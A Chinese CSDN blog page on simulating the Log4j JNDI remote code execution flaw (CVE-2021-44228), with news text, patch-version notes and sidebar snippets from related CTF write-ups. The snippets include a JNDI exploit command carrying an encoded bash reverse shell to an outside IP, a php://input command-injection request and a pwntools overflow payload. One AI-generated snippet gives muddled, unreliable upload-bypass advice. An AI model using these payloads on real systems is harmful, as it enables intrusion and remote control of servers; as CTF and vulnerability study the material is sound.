log4j远程注入漏洞模拟和详解

最新推荐文章于 2024-12-04 02:53:25 发布
最新推荐文章于 2024-12-04 02:53:25 发布
阅读量4.5k 收藏 1
点赞数
分类专栏： java j2ee 文章标签： 安全 java 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/u013309797/article/details/122058763
版权
本文详细讲解了如何利用log4j的远程注入漏洞，在服务端植入可执行代码。通过创建HTTP调用指令，建立1099端口的JNDI监听，当用户在Web浏览器输入包含特定指令的用户名时，如果服务端打印该日志，就可能导致代码被执行。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

IT之家 12 月 10 日消息，近期一个 Apache Log4j 远程代码执行漏洞细节被公开，攻击者利用漏洞可以远程执行代码。
Apache Log4j2 是一款优秀的 Java 日志框架。该工具重写了 Log4j 框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。IT之家获悉，由于 Apache Log4j2 某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。
漏洞利用无需特殊配置，经安全团队验证，Apache Struts2、Apache Solr、Apache Druid、Apache Flink 等均受影响。因该组件使用极为广泛，提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
漏洞评级
Apache Log4j 远程代码执行漏洞 严重
对log4j的漏洞处理其实有两种解决方式，要么去除依赖要么升级版本，去除依赖可能存在去除不彻底的情况，因为很多引用的框架都有log4j的依赖，甚至像es搜索引擎具有强依赖的，去除直接导致无法进行数据检索。如果采取升级版本的方式，存在bug修复不彻底的风险，自2021年12月10号发现bug起就已经修复产生了三个版本了。目前最新更新到2.17.0的版本了。

 

2.17.0版本： 在 Log4j 漏洞曝光之后，Apache 软件基金会于上周二发布了修补后的 2.17.0 新版本，并于周五晚些发布了一个新补丁。官方承认 2.16 版本无法在查找评估中妥善防止无限递归，因而易受 CVE-2021-45105 攻击的影响。据悉，这个拒绝服务（DoS）攻击的威胁级别相当之高，CVSS 评分达到了 7.5 / 10 ,在2021年12月18日修复了此bug
2.16.0版本： Apache Log4j 的 2.0-alpha1 到 2.16.0 版本被发现存在新的漏洞 CVE-2021-45105，该漏洞评分 7.5，官方已发布 2.17.0 修复了该漏洞。IT之家了解到，该漏洞是自引用查找的不受控制的递归问题&
最低0.47元/天 解锁文章
【微服务】springboot远程docker进行debug调试使用详解
congge
10-13 1万+
springboot远程docker进行debug调试使用详解
tomato/A1web 1.0/hackme/靶机复现漏洞详解
Jz031212的博客
08-05 887
首先虚拟机建一个hackme靶机切换nat模式 然后kali扫描自己全端口nmap -sV ip段 0/24扫描出ip进行访问发现是个登录页面可以注册先注册然后登录发现是搜索框，我们直接用搜索型的sql注入。
Apache Log4j2模拟漏洞复现及解决方案
qrainly的博客
12-13 3909
上周五有关开源日志框架Log4j2高危漏洞预警发出后，这几天各大互联网公司都在加班加点做紧急漏洞处理。这是个什么漏洞呢？有多大危害，搞得互联网任人心惶惶！
log4j2 漏洞模拟
不要让任何事情成为你不去学习的理由。
12-13 2732
lookup 功能 log4j 提供了 lookup 功能，通过lookup 你可以在你的log4j 配置文件中添加你的变量值。最简单的你配置日志使用的日期格式 $${date:yyyy-MM} 就是通过datelookup 功能实现的。此外还有很多的lookup,比如 docker-lookup、env-lookup 等。 lookup 功能使得日志的配置更加灵活，但是提供的Jndi lookup 却暴露了重大的漏洞。 通过 jndi 你可以远程访问很多服务或接口。比如 ldap 、 RMI、...
Apache Log4j 远程代码注入漏洞
tanjunchen的博客
12-11 5724
漏洞说明 2021年12月9日，Apache Log4j2 Java 日志模块存在远程命令执行漏洞可直接控制目标服务器问题，攻击者攻击难度极低。由于 Apache Log4j2 某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。该漏洞可通过 critical、error、warining、notice、info、debug等日志级别触发，只需部分日志内容可控，此漏洞波及大量开源组件，包括 ELK、 Apache 、Struts2、Apache Solr、Apache Druid、A
模拟Log4j输出信息
Duanc 的博客
08-21 587
模拟Log4j输出信息
JAVA安全--log4j漏洞研究分析
goddemon
03-12 1万+
log4j漏洞复现 复现 这里以bugku上的靶场为例进行复现 https://ctf.bugku.com/challenges/detail/id/340.html 环境配置 ①ldap服务 服务器起一个ldap服务就好了 直接执行反弹shell 即直接配置bash反弹shell命令 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTYuM
Log4J与安全：权威指南，防止日志信息泄露的有效措施
![Log4J与安全：权威指南，防止日志信息泄露的有效措施]... Log4J概述及日志安全的必要性 随着信息技术的快速发展，软件应用程序生成的日志数据量呈爆炸式增长。作为一款广泛使用且成熟的Java日
CAN网络模拟全方案：模拟环境搭建与策略详解
![【CANape新手必读】：7个步骤带...# 1. CAN网络模拟概述 ## 1.1 CAN网络技术简介 CAN（Controller Area Network）网络是一种被广泛应用于汽车和工业自动化领域的通信协议。它的设计旨在支持车辆内部或者工厂内部的多
Log4j 漏洞测试(1)
2401_84715880的博客
05-16 462
克隆代码到本地，打包，target 目录下会生成2、新建一个普通的 java 类，等会将此类注入到待测试的项目中。可以随便写逻辑 （生成文件、定时关机等）示例: 功能是在windows系统下，3600秒后关机/***/try {3、对上面的类执行 javac 编译，然后启动一个http 服务器，能通过服务器访问到编译后的 class 文件示例: 使用python，我编译后的class文件在目录下。在 cmd窗口运行以下命令。
JNDI注入--Log4j漏洞--Fastjson反序列化漏洞
weixin_74985952的博客
09-21 486
Apache的一个开源项目，通过使用Log4j，我们可以控制日志信息输送的目的地是控制台、文件、GUI组件，甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等；我们也可以控制每一条日志的输出格式；通过定义每一条日志信息的级别，我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是，这些可以通过一个配置文件来灵活地进行配置，而不需要修改应用的代码。
【vluhub】log4j注入漏洞 CVE-2021-44228
yh
07-23 1290
log4j漏洞复现，vulhub搭建
log4j2 变量注入漏洞(CVE-2021-44228)
weixin_40443268的博客
12-04 175
log4j2 JNDI注入漏洞(CVE-2021-44228) 概述 本文非常详细的从头到尾debug了CVE-2021-44228漏洞的利用过程，喜欢的师傅记得点个推荐~ Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。大多数情况下，开发者可能会将用户输入导致的错误信息写入日志...
Log4j2注入漏洞（CVE-2021-44228）
2301_80115097的博客
10-10 174
最近Log4j2的JNDI注入漏洞（CVE-2021-44228）可以称之为“核弹”级别。Log4j2作为类似JDK级别的基础类库，几乎没人能够幸免。极盾科技技术总监对该漏洞进行复现和分析其形成原理。在此分享。以下涉及的代码，均在mac OS 10.14.5，JDK1.8.0_91环境下成功运行。
Log4j2远程执行代码漏洞如何攻击? 又如何修复
琦彦
01-06 9366
Log4j2远程执行代码漏洞如何攻击? 又如何修复
Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识
跳小闹成长记
12-14 7878
本文将和大家一起对Log4j2的漏洞进行全面深入的剖析。我们将从如下几个方面进行讲解。 1、Log4j2漏洞的基本原理 2、Log4j2漏洞在Java高低版本中的不同攻击原理 3、Log4j2漏洞在Java高低版本中的攻击步骤 4、Log4j2漏洞在2.15.0-RC1中被绕过的原因 5、Log4j2最终修复方案（2.15.0）的原理
Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理
跳小闹成长记
12-14 1万+
本文将和大家一起对Log4j2的漏洞进行全面深入的剖析。我们将从如下几个方面进行讲解。 1、Log4j2漏洞的基本原理 2、Log4j2漏洞在Java高低版本中的不同攻击原理 3、Log4j2漏洞在Java高低版本中的攻击步骤 4、Log4j2漏洞在2.15.0-RC1中被绕过的原因 5、Log4j2最终修复方案（2.15.0）的原理
Log4j高危漏洞原理及复现
热门推荐
qq_51302564的博客
12-15 1万+
Log4j高危漏洞原理及复现 漏洞检测||复现环境 查看JDK版本，发现版本小于1.8u121 图3-7 查看JDK版本 查看log4j2版本，发现版本在2.x <= 2.14.1内 图3-8 查看log4j2版本 查看代码，发现存在log4j2相关的lookup语句 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-w9LtKVys-1639577266999)(C:\Users\BLACKF~1\AppData\Local\Temp\ksohtml\wps3AFF.
渗透测试（四）DNS-log注入
Cobb_L
09-03 1236
DNS log注入 测试靶场（掌控安全学院靶场）：https://hack.zkaq.cn/battle/target?id=10679db0fd3523e5 分析：挖掘到目标网站有注入点，可通过DNS-log注入，拿到想要的数据 明白DNS原理，知道域名解析时域名服务器会记录log，但在别人服务器上我们看不到该log，则找工具：dnslog.cn 或者 ceye.io 上去回显出我们想要的数据 以mysql为例，构造注入语句，以load_file()函数配合dns-log得到数据 mysql中loa
ctfshow web题目详解
最新发布
03-16
### CTFShow Web 题目解题思路详解 #### 1. **CTFShow Web1-7** 在这一题目中，主要涉及的是 URL 参数中的 PHP 伪协议利用。通过分析 `ctf_go_go_go` 文件可以发现，程序允许用户通过 `?url=` 参数指定文件路径[^1]。然而，在此过程中并未对输入进行严格校验，从而使得攻击者能够利用 PHP 的伪协议特性来实现任意代码执行。 具体来说，当提交请求时如果设置参数为 `?url=php://input`，则服务器端会将 POST 数据作为脚本运行。因此可以通过发送精心构造的 POST 请求完成命令注入或者获取 Flag。 以下是可能使用的 Python 脚本来模拟攻击过程： ```python import requests url = 'http://example.com/ctf_go_go_go' data = '<?php echo shell_exec("cat /flag"); ?>' response = requests.post(url, data=data, params={'url': 'php://input'}) print(response.text) ``` --- #### 2. **PWN51 栈溢出漏洞** 虽然这是 PWN 类型的一道题，但也值得提及其核心原理以便理解类似的逻辑错误如何影响安全性。该挑战存在缓冲区溢出问题，其中变量 `s` 占用了固定长度的空间 (6C 字节)，而函数 read 可以接受多达 0x20 字节的数据[^2]。这表明超出部分会被写入堆栈其他区域，进而覆盖返回地址或其他重要数据结构。 解决方法在于找到合适的偏移量以及目标跳转位置（即 backdoor 函数入口）。最终有效载荷由填充字节加上指向所需功能的指针组成: ```python from pwn import * context.log_level = 'debug' context.arch = 'i386' io = remote('pwn.challenge.ctf.show', 25622) payload = b'I' * 16 + p32(0x804902E) # 使用十六进制表示数值并转换成二进制字符串形式附加至负载前缀之后 io.sendline(payload) io.interactive() ``` 上述代码片段展示了如何远程连接服务并通过网络套接字传递恶意输入触发异常行为达到控制流劫持的目的。 --- #### 3. **Web160 文件上传绕过** 对于此类基于黑名单机制防护措施薄弱的任务而言，成功的关键往往取决于能否识别哪些特定模式被拦截下来，并尝试规避这些约束条件。在此案例里提到几种常见受限符号包括但不限于圆括弧、尖角标记等等[^3]。既然直接嵌入传统脚本标签不可行，则需另寻出路比如借助 JavaScript 或 HTML5 新增属性等方式间接达成相同效果而不违反既定规则限制。 一种可行策略如下所示: 假设我们创建了一个看似无害但实际上具备潜在威胁性的图片文档名为 avatar.png.js ，它实际上包含了可被执行的客户端侧指令集而非单纯静态图像资源；接着再伪装成常规图形档案递交上去即可顺利过关拿到后台管理权限或者其他隐藏奖励啦！ 当然实际操作当中还需要注意调整 MIME-Type 头部字段匹配预期类型防止额外验证失败哦~ ---
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

alexander137

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值